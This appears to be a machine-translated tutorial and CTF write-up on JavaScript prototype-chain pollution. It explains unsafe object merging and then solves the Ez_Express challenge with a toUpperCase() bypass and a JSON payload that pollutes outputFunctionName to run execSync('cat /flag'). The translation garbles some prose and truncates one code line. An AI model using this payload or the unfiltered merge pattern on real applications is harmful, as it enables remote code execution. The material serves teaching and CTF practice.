preface
I've met many test questions of prototype chain knowledge points, and I've been hammered every time. I don't want to think about it next time...
JavaScript prototype
Classes in javascript use classes in java and php to define classes, but methods defined by functions.
JavaScript is often described as a prototype based language - each object has a prototype object, which takes its prototype as a template and inherits methods and properties from the prototype. Prototype objects may also own prototypes and inherit methods and properties from them, layer by layer, and so on. This relationship is often called prototype chain.
var person=new Person('lyc',30,'male'); console.log(person);
Specific prototype chain structure diagram
Remember
person.__proto__=Person.prototype
To sum up:
- Prototype is the attribute of a class. All class objects will have the attributes and methods in prototype when instantiated
- Of an object__ proto__ Property, pointing to the prototype property of the class where the object is located
JavaScript prototype chain inheritance
Because JavaScript does not have the concept of Class in Java, inheritance is implemented by the prototype chain.
All class objects will have properties and methods in prototype when instantiated. This feature is used to implement the inheritance mechanism in JavaScript.
For example:
function Father() { this.first_name = 'Donald' this.last_name = 'Trump' } function Son() { this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
The Son class inherits the last of the Father class_ Name attribute. The last output is Name: Melania Trump.
To sum up, for the object son, call son last_ Name, the JavaScript engine will actually perform the following operations:
- Find last in object_ name
- If it cannot be found, then in son__ proto__ Find last in_ name
- If you still can't find it, continue at son__ proto__.__ proto__ Find last in_ name
- Search in turn until null is found. For example, object Prototype__ proto__ Is null
This search mechanism of JavaScript is used in object-oriented inheritance, which is called prototype inheritance chain.
The above is the most basic JavaScript object-oriented programming. We don't go into more details, just keep the following points in mind:
- Each constructor has a prototype object
- Object__ proto__ Property that points to the prototype object prototype of the class
- JavaScript uses prototype chain to implement inheritance mechanism
such as
function Teacher(name,age,gender,subject){ Person.call(this,name); Person.call(this,age); Person.call(this,gender); this.subject=subject; } Teacher.prototype=new Person(); console.log(Teacher.prototype);
As you can see, teacher The proto attribute of prototype is person Prototype, the prototype chain also has "one more layer".
Prototype chain pollution
In the first chapter, Foo__ proto__ It points to the prototype of the Foo class. So, if we modify Foo__ proto__ Is it possible to modify the Foo class?
Do a simple experiment:
// foo is a simple JavaScript object let foo = {bar: 1} // foo.bar is now 1 console.log(foo.bar) // Modify the prototype of foo (i.e. Object) foo.__proto__.bar = 2 // Due to the search order, foo Bar is still 1 console.log(foo.bar) // Then create an empty zoo Object with Object let zoo = {} // View zoo bar console.log(zoo.bar)
Finally, although zoo is an empty object {}, zoo The result of bar is actually 2:
Then, in an application, if an attacker controls and modifies the prototype of an object, it will affect all objects from the same class and ancestor class as the object. This attack method is prototype chain pollution.
Under what circumstances will the prototype chain be contaminated
In practical application, under what circumstances may the prototype chain be modified by the attacker?
Let's think about what situations we can set__ proto__ What's the value? In fact, you can find the operation that can control the "key name" of the array (object):
- Object merge
- Object clone (in fact, the kernel is to merge the object to be operated into an empty object)
If there is a merge operation:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
The key value is not filtered here. If the key is__ proto__, Then the prototype chain pollution can be carried out.
It should be noted here that it should cooperate with JSON Parse enables us to enter__ proto__ It is parsed into a key name. In the case of JSON parsing__ proto__ It will be regarded as a real "key name" and not a "prototype", otherwise it will only be regarded as the "prototype" of the current object without upward influence,
merge operation is the most common operation that may control the key name, and it can also be attacked by the prototype chain. This problem exists in many common libraries.
For example:
>let o2 = {a: 1, "__proto__": {b: 2}} >merge({}, o2) <undefined >o2.__proto__ <{b: 2} //Directly return the corresponding value >console.log({}.b) <undefined //The prototype was not contaminated >let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') >merge({},o3) <undefined >console.log({}.b) <2 //The prototype was successfully contaminated
Example [GYCTF2020]Ez_Express
-
Knowledge points
- js prototype pollution chain
- toUpperCase() bypass
-
Users with admin cannot be registered through regular
- Bypass by toUpperCase()
- Pollution with clone
unction safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined }
Find the location of clone() in the route of / action. You need to log in to admin
router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
- Find pollution points, info page
router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) among outputFunctionName Undeclared, available
You can see that under / info, the outputFunctionName is rendered into the index using, and the outputFunctionName is undefined
res.outputFunctionName=undefined;
That is, SSTI can be performed by polluting outputFunctionName
So grab the package of / action, set the content type to application/json, and call clone to realize pollution
- payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
- Then visit / info to download flag
Example [WANGDING cup 2020 Qinglong group]
http://chaosec.top/2020/09/24/buuctf3/
Example: an Xun cup 2020 Validator
https://writeup.ctfhub.com/Challenge/2020/ Anxun cup / Web / 9svhgs6pfkebnetx4xaz6r html
reference resources https://www.freebuf.com/articles/web/275619.html
https://blog.happysec.cn/index/view/328.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://blog.csdn.net/qq_45691294/article/details/109320437?